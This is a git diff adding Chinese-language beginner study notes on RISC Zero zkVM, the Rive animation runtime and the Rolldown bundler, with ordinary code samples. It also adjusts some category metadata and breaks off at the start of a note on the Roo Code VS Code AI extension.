--- a/src/content/docs/projects/ripgrep.md
+++ b/src/content/docs/projects/ripgrep.md
@@ -2,8 +2,8 @@
 title: ripgrep — Rust 写的现代 grep
 来源: https://github.com/BurntSushi/ripgrep
 日期: 2026-05-29
-子分类: 命令行工具
-分类: CLI
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/risc0-zkvm.md b/src/content/docs/projects/risc0-zkvm.md
new file mode 100644
index 000000000..d66157152
--- /dev/null
+++ b/src/content/docs/projects/risc0-zkvm.md
@@ -0,0 +1,236 @@
+---
+title: RISC Zero zkVM 零基础学习笔记
+来源: https://github.com/risc0/risc0
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 密码与零知识
+provenance: pipeline-v3
+---
+
+# RISC Zero zkVM 零基础学习笔记
+
+## 一、从日常类比开始
+
+想象你有一个朋友，他算数学题特别快，但你不信任他。你想验证他的答案是否正确。
+
+传统做法有两种：
+- 你自己重新算一遍（慢，但放心）
+- 他告诉你每一步的过程，你逐行检查（还是得自己动脑）
+
+零知识证明解决的问题是：**让对方证明他算对了，但不用告诉我任何中间步骤或原始数据。**
+
+RISC Zero zkVM 就是把「运行一段程序」这件事，变成一个可以用数学证明「确实正确执行过」的东西。你不需要知道程序跑了什么数据、中间状态是什么，只需要验证最终生成的「证明」，就能 100% 确定程序是按预期执行的。
+
+## 二、核心概念
+
+### 1. 零知识证明（Zero-Knowledge Proof）
+
+零知识证明是一种密码学协议，证明方可以说服验证方「某件事是真的」，而不泄露任何额外信息。好比你能证明你知道一个密码，但不用把密码告诉你朋友。
+
+### 2. zkVM（零知识虚拟机）
+
+zkVM 是一种虚拟机，它能让任意程序在其上运行时自动生成一个密码学证明，证明这段程序确实被正确执行了。RISC Zero 的 zkVM 模拟的是 RISC-V 架构。
+
+### 3. Host（主机）与 Guest（来宾）
+
+- **Host**：运行在你的电脑上的正常程序，负责启动 zkVM、发送输入、获取结果
+- **Guest**：在 zkVM 内部运行的程序，它的执行过程会被自动证明
+
+你可以把 Host 想成「老板」，Guest 想成「打工的」。老板把任务交给 Guest 去做，Guest 做完后交回结果和一个「证明」。老板验证证明即可确信结果正确，而不用知道 Guest 用了什么中间数据。
+
+### 4. Receipt（收据）
+
+收据是 zkVM 执行完成后生成的「证明包」，包含两部分：
+
+- **Journal（日志）**：Guest 程序中通过 `env::commit()` 公开写出的数据，任何拿到收据的人都能看到
+- **Seal（封印）**：密码学签名数据，无法伪造。验证者靠它确认程序确实被正确执行过
+
+### 5. Image ID
+
+Image ID 是 Guest 程序的「密码学指纹」。验证收据时必须提供正确的 Image ID，否则收据无效。这确保了证明对应的就是那个特定的程序，没有被偷梁换柱。
+
+### 6. Dev Mode（开发模式）
+
+开发时每次生成真实证明都等很久。Dev Mode 跳过证明生成过程，快速运行代码。设置环境变量 `RISC0_DEV_MODE=1` 即可切换。
+
+## 三、代码示例
+
+### 示例一：Hello World — 证明两个数相乘
+
+这是一个最简单的例子：程序接收两个数作为输入，在 zkVM 内部计算它们的乘积，然后输出结果。任何人都可以用收据验证「乘积确实是这两个数算出来的」，但不知道这两个数具体是多少（除非你把它们写到 journal 里）。
+
+**Guest 程序**（在 zkVM 内部运行，会被证明的部分）：
+
+```rust
+use risc0_zkvm::guest::env;
+
+// 告诉 zkVM 从哪里开始执行
+risc0_zkvm::guest::entry!(main);
+
+fn main() {
+    // 从 Host 读取两个输入数
+    let a: u64 = env::read();
+    let b: u64 = env::read();
+
+    // 验证输入不是平凡的（排除 1 * x 这种无聊情况）
+    if a == 1 || b == 1 {
+        panic!("Trivial factors");
+    }
+
+    // 计算乘积
+    let product = a.checked_mul(b).expect("Integer overflow");
+
+    // 把结果写入 Journal（变成公开输出）
+    env::commit(&product);
+}
+```
+
+**Host 程序**（你的电脑上运行的正常代码）：
+
+```rust
+use hello_world::multiply;
+use hello_world_methods::MULTIPLY_ID;
+
+fn main() {
+    // 选两个数，比如 17 和 23
+    let (receipt, result) = multiply(17, 23);
+
+    // 验证收据 — 如果程序执行有误，这里会 panic
+    receipt.verify(MULTIPLY_ID).expect(
+        "Code you have proven should successfully verify",
+    );
+
+    println!("I know the factors of {}, and I can prove it!", result);
+}
+
+pub fn multiply(a: u64, b: u64) -> (Receipt, u64) {
+    // 构建执行环境，把输入发给 Guest
+    let env = ExecutorEnv::builder()
+        .write(&a)
+        .unwrap()
+        .write(&b)
+        .unwrap()
+        .build()
+        .unwrap();
+
+    // 获取默认证明器
+    let prover = default_prover();
+
+    // 执行并生成收据（包含证明）
+    let receipt = prover.prove(env, MULTIPLY_ELF).unwrap().receipt;
+
+    // 从收据的 Journal 中解码输出结果
+    let c: u64 = receipt.journal.decode().expect(
+        "Journal output should decode to u64",
+    );
+
+    (receipt, c)
+}
+```
+
+运行成功会输出：`I know the factors of 391, and I can prove it!`
+
+### 示例二：证明你知道一个密码（但不告诉别人）
+
+这个例子展示零知识的真正威力：程序验证一个密码是否正确，但密码本身不会出现在输出中。
+
+**Guest 程序**：
+
+```rust
+use risc0_zkvm::guest::env;
+
+risc0_zkvm::guest::entry!(main);
+
+fn main() {
+    // 从 Host 接收一个尝试的密码
+    let guess: String = env::read();
+
+    // 在 zkVM 内部硬编码一个正确密码（也可以从其他地方读取）
+    let secret = "supersecret123";
+
+    // 验证密码是否正确
+    if guess == secret {
+        // 只写入「验证通过」的标志，不写入密码本身
+        env::commit(&true);
+    } else {
+        // 验证失败
+        env::commit(&false);
+    }
+}
+```
+
+**Host 程序**：
+
+```rust
+use risc0_zkvm::{default_prover, ExecutorEnv, Receipt};
+
+fn main() {
+    // 我想知道「我是否知道密码」，但不想让任何人看到我输入的密码
+    let guess = "supersecret123".to_string();
+
+    let env = ExecutorEnv::builder()
+        .write(&guess)
+        .unwrap()
+        .build()
+        .unwrap();
+
+    let prover = default_prover();
+    let receipt = prover.prove(env, GUEST_ELF).unwrap().receipt;
+
+    // 验证证明
+    receipt.verify(GUEST_IMAGE_ID).expect("Verification failed");
+
+    // 从 Journal 读取结果
+    let is_valid: bool = receipt.journal.decode().expect("Decode failed");
+
+    if is_valid {
+        println!("密码验证通过！而且没有人知道我输入了什么密码。");
+    } else {
+        println!("密码错误。");
+    }
+}
+```
+
+在这个例子中，第三方拿到收据后只能看到「验证通过」的结果，完全不知道密码是什么。这就是「零知识」的含义。
+
+## 四、工作流程总结
+
+```
+1. 编译 Guest 程序 → 生成 RISC-V ELF 文件 + Image ID（密码学哈希）
+2. Host 准备输入 → 通过 ExecutorEnv 发送给 Guest
+3. Guest 在 zkVM 中运行 → 执行代码，通过 env::commit() 写入结果到 Journal
+4. 生成 Receipt → 包含 Journal（公开输出）+ Seal（密码学证明）
+5. 验证 Receipt → 用 Image ID 验证 Seal，确认程序确实被正确执行过
+```
+
+## 五、实际应用场景
+
+- **区块链扩容**：把大量计算移到链下 zkVM 中执行，只把证明提交到链上验证，大幅降低 gas 费用
+- **隐私交易**：证明交易合法但隐藏金额、发送方、接收方
+- **可信 AI**：证明 AI 模型确实按预期权重运行过，而不用公开模型参数
+- **隐私数据查询**：证明你有权访问某条数据，但不泄露你是谁、数据是什么
+- **游戏和 NFT**：证明你在游戏中取得了某个成就，同时隐藏游戏策略
+
+## 六、关键技术参数
+
+- **底层加密**：基于 zk-STARK 协议 + Groth16 递归证明系统，三层递归架构
+- **安全级别**：默认参数下达到 98 比特的推测安全强度
+- **零知识属性**：完美零知识（perfect zero-knowledgeness）
+- **支持语言**：Rust（首选）、C、C++（需编译为 RISC-V 目标）
+- **许可协议**：Apache-2.0 或 MIT
+
+## 七、学习路径建议
+
+1. 先安装 `rzup` 工具链
+2. 用 `cargo risczero new` 创建第一个项目
+3. 在 Dev Mode 下快速迭代开发
+4. 切换到真实证明模式体验生成过程
+5. 阅读 examples 目录下的 JSON、Chess 等进阶示例
+
+## 八、参考资料
+
+- 官方文档：https://dev.risczero.com
+- GitHub 仓库：https://github.com/risc0/risc0
+- Rust 文档：https://docs.rs/risc0-zkvm
+- Discord 社区：https://discord.gg/risczero
+- 递归证明系统讲解视频：https://www.youtube.com/watch?v=wkIBN2CGJdc
diff --git a/src/content/docs/projects/rive.md b/src/content/docs/projects/rive.md
new file mode 100644
index 000000000..915492d92
--- /dev/null
+++ b/src/content/docs/projects/rive.md
@@ -0,0 +1,322 @@
+---
+title: Rive — 交互动画运行时
+来源: https://github.com/rive-app/rive-runtime
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 日常类比：Rive Runtime 是「可编程的皮影戏放映机」
+
+在 Rive 编辑器里，设计师像搭皮影：角色、按钮、图标是**画板（Artboard）**，走路、悬停、点击是**状态机剧本**，导出后得到一个 `.riv` 文件——相当于把整套皮影和机关装进一只木箱。
+
+**Rive Runtime**（本仓库核心是 C++ 的 [rive-runtime](https://github.com/rive-app/rive-runtime)）就是各平台上的**放映机 + 提线师**：读 `.riv`，每帧根据用户点击、滑动或你代码里设的开关，决定播哪段动画、怎么混合过渡，再用矢量渲染器画到屏幕。和「导出成 GIF / 视频」不同，动画仍是**实时矢量**，可响应输入、可改参数、体积极小。
+
+| 维度 | 数据 |
+|------|------|
+| 核心 Runtime | [rive-app/rive-runtime](https://github.com/rive-app/rive-runtime)（C++，MIT） |
+| Web 封装 | [@rive-app/canvas](https://github.com/rive-app/rive-wasm)、[@rive-app/react-canvas](https://github.com/rive-app/rive-react) |
+| 官方文档 | [Rive Runtimes](https://rive.app/docs/runtimes/getting-started) |
+| 文件格式 | `.riv`（二进制，编辑器导出） |
+| 渲染后端 | Metal、Vulkan、D3D11/12、OpenGL/WebGL、WebGPU |
+| 平台 | Web、iOS、Android、Flutter、Unity、Unreal、React Native 等 |
+
+---
+
+## 是什么
+
+[Rive](https://rive.app) 是一条**端到端**流水线：编辑器里做矢量交互动画 → 导出 `.riv` → 各语言 Runtime 加载播放。`rive-runtime` 是底层 C++ 库，负责：
+
+- 解析 `.riv`，构建 **Artboard**（场景图：形状、骨骼、嵌套画板等）
+- 驱动 **线性动画（Linear Animation）** 或 **状态机（State Machine）**
+- 通过抽象 **Renderer** 接口，把矢量路径交给 GPU 渲染器（PLS 路径渲染）
+
+上层还有 `rive-wasm`（Web）、`rive-react`、`rive-flutter` 等，本质都是对同一套 C++ 核心的绑定。设计师在编辑器里连好的「悬停变亮、按下弹跳」，Runtime 里用**状态机输入**接住，不必在代码里逐帧 K 帧。
+
+工作流三段：
+
+1. **Rive Editor** — 画矢量、绑状态机、设输入（Bool / Number / Trigger）、布局  
+2. **导出 `.riv`** — 单文件打包资源与逻辑  
+3. **Runtime 循环** — `load → advance → apply → draw`，可选监听指针与状态变化
+
+---
+
+## 为什么重要
+
+不懂 Rive Runtime，下面几件事很难讲清楚：
+
+- 为什么同一个加载按钮动画能同时跑在 React 官网、Flutter App 和游戏里——**`.riv` 格式统一**，只差各平台 Renderer 胶水  
+- 为什么交互动画不必写成几百行 GSAP——**状态机在编辑器里可视化连线**，代码只改几个输入值  
+- 为什么矢量动画在 4K 屏上不糊——每帧 GPU 重绘路径，不是放大位图  
+- 为什么 Lottie 常做「播完即走」，Rive 更偏「长期挂在 UI 里响应用户」——状态机 + 命中测试是为一等公民设计的  
+
+和 [GSAP](/docs/projects/gsap)（命令式补间）、[Spine Runtimes](/docs/projects/spine-runtimes)（游戏骨骼 2D）相比，Rive 更强调**设计工具与 Runtime 行为一致**：编辑器里预览的交互，就是线上跑的交互。
+
+---
+
+## 核心概念
+
+### 1. File 与 Artboard — 文件与画板
+
+`.riv` 加载后得到 `File` 对象，内含一个或多个 **Artboard**（类似 Figma 的一页画板）。Runtime 区分：
+
+- **源 Artboard（source）** — 只读蓝图，不能直接动画  
+- **ArtboardInstance** — 通过 `artboard->instance()` 克隆出的可动画实例  
+
+类比：源画板是印刷模版，实例是你舞台上真正在动的那一个；多个按钮可以 `instance()` 同一份数据，各自独立状态。
+
+### 2. Scene：统一的播放接口
+
+无论是线性动画还是状态机，运行时都通过 **`Scene`** 抽象统一接口，典型每帧调用：
+
+```
+scene->advance(deltaSeconds);
+scene->apply();           // 或由 advanceAndApply 合并
+artboard->draw(renderer);
+```
+
+`LinearAnimationInstance` 与 `StateMachineInstance` 都继承 `Scene`，所以游戏主循环可以同一套写法切换模式。
+
+### 3. Linear Animation — 时间轴动画
+
+**LinearAnimation** 是数据：帧率、时长、循环模式、关键帧表。  
+**LinearAnimationInstance** 是播放状态：当前时间、方向、是否播完。
+
+适合片头、一次性过渡、不需要复杂分支的场景。代码里指定动画名即可 `play('idle')`。
+
+### 4. State Machine — 交互动画的大脑
+
+**State Machine** 是 Rive 交互的核心（多数 UI 图标、按钮用这个）：
+
+- **State（状态）** — 每个状态绑定一段或多段动画  
+- **Transition（过渡）** — 条件满足时混合切换到下一状态  
+- **Input（输入）** — 代码与设计的桥梁，三种类型：  
+  - **Boolean** — `input.value = true/false`（如 `isHover`）  
+  - **Number** — `input.value = 0.5`（如进度、音量）  
+  - **Trigger** — `input.fire()` 一次性脉冲（如 `onClick`）  
+- **Listener** — 编辑器里配置的点击/拖拽区域，Runtime 做命中测试后触发过渡  
+
+每帧 `StateMachineInstance::advanceAndApply(dt)` 会：评估过渡条件 → 混合进出状态动画 → 更新画板属性。
+
+### 5. Renderer — 与引擎无关的绘制 API
+
+C++ 层 `Renderer` 是纯虚接口：`drawPath`、`drawImage`、`clipPath` 等。  
+生产环境默认 **RiveRenderer + RenderContext**（PLS 矢量 GPU 路径），支持 Metal / Vulkan / D3D / WebGL / WebGPU。  
+你也可以实现自定义 `Renderer` 接到 Skia、引擎自有 2D 管线（高级集成）。
+
+### 6. 平台 Runtime 分层
+
+```
+Rive Editor → .riv
+       ↓
+rive-runtime (C++)  ← 解析、动画求解、Renderer 抽象
+       ↓
+rive-wasm / rive-ios / rive-android / rive-flutter …
+       ↓
+@rive-app/react-canvas、游戏引擎插件 …
+```
+
+Web 上 JS 通过 WASM 调 C++；React 的 `useRive` 只是对 WASM Runtime 的薄封装。
+
+### 7. Data Binding（ViewModel）— 可选的数据驱动
+
+较新版本支持 **ViewModel**：把状态机输入绑定到命名属性，Runtime 可 `autoBind` 或用手动 hook 同步业务数据（如股票数值、表单校验状态），减少逐个 `getNumber('price')` 的胶水代码。
+
+### 8. 嵌套画板 Nested Artboard
+
+一个 Artboard 可嵌入另一个 Artboard 的实例，并驱动其内部状态机。适合「角色手里的道具」「弹窗里的子动画」模块化复用。
+
+---
+
+## 代码示例一：React — 状态机 + 悬停与点击（Web）
+
+安装：
+
+```bash
+npm install @rive-app/react-canvas
+```
+
+典型交互按钮：状态机里有 `isHovered`（Bool）和 `onClick`（Trigger）：
+
+```tsx
+import { useRive, useStateMachineInput } from '@rive-app/react-canvas';
+
+export function RiveIconButton() {
+  const { rive, RiveComponent } = useRive({
+    src: '/icons/send.riv',
+    stateMachines: 'ButtonState',
+    autoplay: true,
+  });
+
+  const isHovered = useStateMachineInput(rive, 'ButtonState', 'isHovered');
+  const onClick = useStateMachineInput(rive, 'ButtonState', 'onClick');
+
+  return (
+    <button
+      type="button"
+      aria-label="发送"
+      onMouseEnter={() => isHovered && (isHovered.value = true)}
+      onMouseLeave={() => isHovered && (isHovered.value = false)}
+      onClick={() => onClick?.fire()}
+    >
+      <RiveComponent style={{ width: 48, height: 48 }} />
+    </button>
+  );
+}
+```
+
+要点：
+
+- `useRive` 返回的 `rive` 在文件加载完成前为 `null`，`useStateMachineInput` 也会是 `null`，赋值前要判断  
+- **Bool/Number** 改 `.value`；**Trigger** 调 `.fire()`，没有持久「开/关」  
+- `RiveComponent` 必须渲染到 DOM，内部会挂 canvas 并处理高清屏缩放  
+- 状态机名称、输入名称必须与编辑器里**完全一致**（区分大小写）
+
+把业务状态同步进动画（例如提交中 / 成功）：
+
+```tsx
+const loading = useStateMachineInput(rive, 'ButtonState', 'loading');
+const success = useStateMachineInput(rive, 'ButtonState', 'success');
+
+useEffect(() => {
+  if (loading) loading.value = isSubmitting;
+}, [isSubmitting, loading]);
+
+useEffect(() => {
+  if (success) success.value = isSuccess;
+}, [isSuccess, success]);
+```
+
+---
+
+## 代码示例二：Vanilla JS — 线性动画与手动控制循环
+
+不依赖 React 时，直接用 `@rive-app/canvas`（或旧称 rive-js）。下面展示：**加载文件 → 播线性动画 → 按钮暂停/继续**：
+
+```javascript
+import { Rive, Layout, Fit, Alignment } from '@rive-app/canvas';
+
+const canvas = document.getElementById('rive-canvas');
+
+const rive = new Rive({
+  src: '/animations/mascot.riv',
+  canvas,
+  autoplay: true,
+  animations: 'wave',           // 线性动画名；用状态机时改 stateMachines
+  layout: new Layout({
+    fit: Fit.Contain,
+    alignment: Alignment.Center,
+  }),
+  onLoad: () => {
+    rive.resizeDrawingSurfaceToCanvas();
+  },
+});
+
+document.getElementById('pause').addEventListener('click', () => {
+  rive.pause();
+});
+
+document.getElementById('play').addEventListener('click', () => {
+  rive.play('wave');
+});
+```
+
+若需要**低层 API**（同一 canvas 多个 artboard、自管 `requestAnimationFrame`），可走 rive-wasm 的底层示例：自己 `load` → `ArtboardInstance` → `advanceAndApply` → `draw`。游戏引擎集成通常在这一层挂钩。
+
+监听状态机变化（调试或埋点）：
+
+```javascript
+const rive = new Rive({
+  src: '/ui/toggle.riv',
+  canvas,
+  stateMachines: 'ToggleSM',
+  autoplay: true,
+  onStateChange: (event) => {
+    console.log('entered state:', event.data[0]);
+  },
+});
+```
+
+---
+
+## C++ Runtime 视角：最小心智模型
+
+读 `rive-runtime` 源码或写原生集成时，记住这条链：
+
+```
+File::import(rivBytes)
+  → Artboard* (source)
+  → artboard->instance() → ArtboardInstance
+  → stateMachine->instance() → StateMachineInstance (extends Scene)
+  → each frame: smi->advanceAndApply(dt)
+  → artboard->draw(renderer)
+```
+
+`StateMachineInstance` 还处理 `pointerDown/Move/Up`，遍历 `HitComponent` 做命中测试，触发 Listener。异步多线程场景可用 `CommandQueue` / `CommandServer` 把加载与 advance 放到渲染线程（见 runtime 文档 Advanced Topics）。
+
+构建 C++ 库（Mac 为主，社区也支持 Windows/Linux）：
+
+```bash
+cd rive-runtime
+./build.sh          # debug
+./build.sh release  # release
+```
+
+测试：`cd tests/unit_tests && ./test.sh`。依赖 premake5、较新的 clang（向量 builtins）。
+
+---
+
+## 与 Lottie / Spine / GSAP 的对比
+
+| 维度 | Rive Runtime | Lottie | Spine | GSAP |
+|------|--------------|--------|-------|------|
+| 源文件 | `.riv` 二进制 | `.json` / `.lottie` | `.json` + 图集 | 无单一资产，代码为主 |
+| 交互模型 | 状态机为一等公民 | 有限（bodymovin 表达式） | 动画混合 + 事件 | 完全代码驱动 |
+| 渲染 | 内置高性能矢量 GPU | 多依赖 SVG/Canvas 实现 | 引擎贴图网格 | 改 DOM/CSS 属性 |
+| 设计工具 | Rive Editor（同厂） | After Effects 插件 | Spine Editor | 无官方视觉状态机 |
+| 典型场景 | App UI、可点击图标、游戏 HUD | 轻量展示动画 | 2D 游戏角色 | 营销页、时间轴编排 |
+
+---
+
+## 学习路径（零基础）
+
+1. 在 [Rive Editor](https://editor.rive.app) 打开官方示例，看 **State Machine** 面板如何连线和命名 Input  
+2. 读 [Getting Started (Web)](https://rive.app/docs/runtimes/web/web-js) 跑通第一个 canvas  
+3. React 项目装 `@rive-app/react-canvas`，用 `useRive` + `useStateMachineInput` 做悬停按钮  
+4. 需要游戏引擎时查对应 [Runtime Overview](https://rive.app/docs/runtimes/getting-started)（Flutter / Unity / Unreal）  
+5. 要改底层或贡献代码：clone `rive-runtime`，读 `include/rive/file.hpp`、`state_machine_instance.hpp`、`renderer.hpp`
+
+---
+
+## 常见坑
+
+- **动画名 / 状态机名 / 输入名写错** — 静默失败或 Input 一直是 `null`，先在编辑器 Export 预览里核对字符串  
+- **忘记等 `onLoad` 或 `rive` 非空** — 过早 `fire()` 或改 `value` 无效  
+- **Canvas 尺寸为 0** — 父容器没高度时动画不可见；React 里给 `RiveComponent` 明确 `width/height` 或 flex 布局  
+- **Retina 模糊** — Web 需在 resize 后调 `resizeDrawingSurfaceToCanvas()`  
+- **混用 `animations` 与 `stateMachines` 参数** — 同一次 `useRive` 里分清播线性动画还是状态机  
+- **版本不匹配** — `@rive-app/react-canvas`  major 升级常伴随 WASM 破坏性变更，按 [Migration](https://rive.app/docs/runtimes/web/migrating-from-rive-js) 文档升级  
+- **C++ 集成** — Renderer 后端要与平台 GPU API 对齐；无 GPU 时只能走 Skia 等备用路径，性能特征不同  
+
+---
+
+## 和本仓库其他笔记的关系
+
+- 网页时间轴补间、滚动叙事可看 [GSAP](/docs/projects/gsap)  
+- 2D 游戏骨骼管线对照 [Spine Runtimes](/docs/projects/spine-runtimes)  
+- Flutter 技术栈下 Rive 官方编辑器本身也用 Flutter 重写，可与 [Flutter 生态](/docs/projects/flutterfire) 项目一并规划  
+- 做 E2E 时若页面含 Rive canvas，测试工具需等待 canvas 绘制完成，可参考 [Playwright](/docs/projects/playwright) 的 auto-wait 思路  
+
+---
+
+## 小结
+
+Rive Runtime 不是「又一个 GIF 播放器」，而是加载 `.riv`、用**状态机**响应输入、用**矢量渲染器**上屏的跨平台引擎。日常开发记住两条线即可：
+
+**产品集成（Web/React）**：`useRive` 加载 → `useStateMachineInput` 改输入 → 渲染 `RiveComponent`  
+
+**底层（C++/游戏）**：`File` → `ArtboardInstance` → `StateMachineInstance::advanceAndApply` → `draw(Renderer)`  
+
+设计师在编辑器里定义的交互边界，由 Runtime 忠实执行；你的代码主要负责**何时改 Bool、何时 fire Trigger、何时监听状态变化**——剩下的混合与绘制交给 `rive-runtime`。
diff --git a/src/content/docs/projects/rolldown-bundler.md b/src/content/docs/projects/rolldown-bundler.md
new file mode 100644
index 000000000..c3aaa075a
--- /dev/null
+++ b/src/content/docs/projects/rolldown-bundler.md
@@ -0,0 +1,156 @@
+---
+title: Rolldown — 用 Rust 重写的下一代 JS 打包器
+来源: https://github.com/rolldown/rolldown
+日期: 2026-06-13
+分类: 后端 API
+子分类: 前端框架
+provenance: pipeline-v3
+---
+
+## 什么是打包器？先来个日常类比
+
+想象你要做一顿大餐：厨房里有 20 个小菜（每个小菜是一个 `.js` 文件），每个小菜都用不同的调料（`import` / `export`）。如果把 20 个小菜直接端上桌，客人（浏览器）得跑 20 趟厨房拿东西，又慢又乱。
+
+**打包器（Bundler）** 的作用，就是厨师长——他把所有小菜合并成一桌完整的大餐，统一调味，去掉没人点的菜，最后装在一个大盘子里端出去。这样浏览器只需要请求一次，就能拿到全部代码。
+
+市面上有好几位"厨师长"：Webpack 是老资历，Rollup 擅长做库，esbuild 以速度著称。而 **Rolldown** 是一位用 Rust 语言重新发明的新手，却想同时接住 Rollup 的生态和 esbuild 的速度。
+
+## 一句话定义
+
+Rolldown 是一个用 Rust 编写的 JavaScript / TypeScript 打包器，由 VoidZero 公司开发。它提供与 Rollup 兼容的 API 和插件接口，同时在功能范围上更接近 esbuild——也就是说，它想成为两者的结合体。
+
+它的最终目标：替换掉 Vite 内部同时使用的 Rollup 和 esbuild，用一个打包器搞定一切。
+
+## 核心概念
+
+### 1. Entry（入口）
+
+打包器不是把所有文件糊在一起，而是从你指定的"入口文件"开始，顺着 `import` 语句一路追踪依赖，形成一张依赖图。这张图就是打包的基础。
+
+就像你看地图，从一个起点出发，沿着路走到所有能到的地方。
+
+### 2. Output / Chunk（输出块）
+
+依赖图画好后，打包器会把相关代码打包成一个或多个"块"（chunk），写到磁盘上。你可以指定输出格式（ESM、CJS、IIFE 等）。
+
+### 3. Plugin Hook（插件钩子）
+
+Rollup 的插件系统通过"钩子"让开发者介入打包流程的每个阶段——比如文件读取、代码转换、输出生成等。Rolldown 完全兼容这套钩子系统，所以现有的 Rollup / Vite 插件可以直接复用。
+
+### 4. Platform（平台）
+
+类似于 esbuild 的 `platform` 配置，Rolldown 可以指定打包目标是 `browser`、`node` 还是 `neutral`。这会影响模块解析规则和 `process.env.NODE_ENV` 的处理方式。
+
+### 5. Transform（内置转换）
+
+Rolldown 内置了 TypeScript 编译、JSX 转换、语法降级等功能， powered by Oxc 项目。不需要额外安装插件——这是它比 Rollup 更"开箱即用"的地方。
+
+### 6. Module Types（模块类型）
+
+类似 esbuild 的 `loader` 概念，可以指定不同文件扩展名对应什么解析方式。默认支持 JS、TS、JSON 等常见类型。
+
+## 代码示例
+
+### 示例一：CLI 一键打包
+
+最简单的用法——不需要配置文件，命令行直接跑：
+
+```bash
+# 把 src/main.js 打包成 bundle.js
+rolldown src/main.js --file bundle.js
+```
+
+`src/main.js` 依赖了 `src/hello.js`，Rolldown 会沿着 import 链把所有代码合并到一个文件里。
+
+### 示例二：用配置文件做精细控制
+
+当选项变多时，写配置文件更灵活：
+
+```js
+// rolldown.config.js
+import { defineConfig } from 'rolldown';
+
+export default defineConfig({
+  input: 'src/main.js',
+  output: {
+    file: 'dist/bundle.js',
+    format: 'esm',          // 输出 ESM 格式
+  },
+  platform: 'browser',      // 目标平台：浏览器
+  transform: {
+    define: {
+      'process.env.NODE_ENV': '"production"',  // 全局替换
+    },
+  },
+});
+```
+
+### 示例三：用 JavaScript API 做编程式打包
+
+如果你需要在代码中动态控制打包流程：
+
+```js
+import { rolldown } from 'rolldown';
+
+const bundle = await rolldown({
+  input: 'src/main.js',
+  platform: 'node',
+});
+
+// 同一个 bundle，可以生成不同格式的输出
+await bundle.generate({ format: 'esm' });   // ESM 版本
+await bundle.generate({ format: 'cjs' });   // CommonJS 版本
+
+// 或者直接写到磁盘
+await bundle.write({ file: 'dist/bundle.js' });
+```
+
+### 示例四：多配置并行构建
+
+一次打包多种输出，Rolldown 会自动并行执行：
+
+```js
+// rolldown.config.js
+import { defineConfig } from 'rolldown';
+
+export default defineConfig([
+  {
+    input: 'src/main.js',
+    output: { format: 'esm' },     // 给现代浏览器用的 ESM
+  },
+  {
+    input: 'src/worker.js',
+    output: { format: 'iife', dir: 'dist/workers' },  // 给旧浏览器用的 IIFE
+  },
+]);
+```
+
+## 为什么是 Rust？
+
+esbuild 用 Go 写的，速度已经很快了。但 Go 编译成 WASM 时性能会打折。Rust 编译出来的二进制文件更小、更快，而且 WASM 版本同样高效。
+
+简单说：同样的打包任务，Rolldown 比 Rollup 快 10-30 倍，和 esbuild 在同一个速度级别。
+
+## 关键特性一览
+
+| 特性 | Rolldown | Rollup | esbuild |
+|------|----------|--------|---------|
+| 语言 | Rust | Rust | Go |
+| TypeScript 内置 | 支持 | 需插件 | 支持 |
+| JSX 内置 | 支持 | 需插件 | 支持 |
+| CJS/ESM 混排 | 内置支持 | 需 commonjs 插件 | 内置支持 |
+| 插件 API | 兼容 Rollup | 原生 | 无 |
+| Tree-shaking | 支持 | 支持 | 有限 |
+| 手动代码分割 | 支持 | 有限 | 不支持 |
+
+## 学习路线建议
+
+1. 先跑通 `rolldown src/main.js --file bundle.js`，感受打包的效果
+2. 再尝试写 `rolldown.config.js`，理解配置项的含义
+3. 了解 Rollup 插件如何直接用在 Rolldown 上
+4. 深入看 `notable-features` 页面，理解内置转换、平台预设等概念
+5. 如果想参与开发，它基于 oxc（另一个 Rust 项目）做底层解析
+
+## 总结
+
+Rolldown 的核心使命可以概括成一句话：**让 Vite 只用一个打包器搞定所有构建**。它借鉴了 Rollup 的插件生态和 esbuild 的速度理念，用 Rust 重新实现。对于初学者来说，它的使用方式和 Rollup 非常接近——如果你懂一点打包器的概念，上手 Rolldown 几乎没有门槛。
diff --git a/src/content/docs/projects/rolldown.md b/src/content/docs/projects/rolldown.md
index 6cfa76e4d..189087d10 100644
--- a/src/content/docs/projects/rolldown.md
+++ b/src/content/docs/projects/rolldown.md
@@ -2,7 +2,7 @@
 title: rolldown — 用 Rust 给 Vite 当统一引擎的打包器
 来源: 'https://github.com/rolldown/rolldown'
 日期: 2026-05-30
-子分类: 构建工具
+子分类: frontend-frameworks
 分类: 编译器
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/roo-code.md b/src/content/docs/projects/roo-code.md
new file mode 100644
index 000000000..4d3a01d57
--- /dev/null
+++ b/src/content/docs/projects/roo-code.md
@@ -0,0 +1,320 @@
+---
+title: Roo Code — 多模式 VS Code AI 助手
+来源: https://github.com/RooCodeInc/Roo-Code
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：编辑器里的「可换岗开发团队」
+
+想象你管理一个小型软件团队，但成员都坐在同一张工位前——只是**戴不同工牌**。写功能时换「码农」；画架构时换「架构师」；查资料时换「文档员」；线上报错时换「排障工程师」。每个人**权限不同**：架构师可以读全仓库、写设计文档，但不能乱改业务代码；码农可以改文件、跑终端；文档员 mostly 只读。你作为 Tech Lead，每步仍可点「批准 / 拒绝」，熟悉后也可以对固定操作开「自动批准」，让团队连续工作几小时。
+
+**Roo Code 就是 [[vscode]] 侧边栏里的这支团队。** 它是开源（Apache 2.0）的 AI 编码代理扩展，源自 [[cline]] 生态的演进路线，在 GitHub 上以 [RooCodeInc/Roo-Code](https://github.com/RooCodeInc/Roo-Code) 维护（2026 年 5 月官方扩展已宣布停更并归档，社区 fork 如 [ZooCode](https://github.com/Zoo-Code-Org/Zoo-Code/) 可继续跟进；学习其设计仍对理解 VS Code agent 范式极有价值）。核心卖点不是「又一个聊天框」，而是 **Modes（多模式角色）+ 工具链 + 模型无关（BYOK）**：同一套 agent 引擎，通过模式切换系统提示、可用工具与文件编辑边界，让 LLM 在长任务里少跑偏。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：单一 Chat 角色「什么都想干」
+
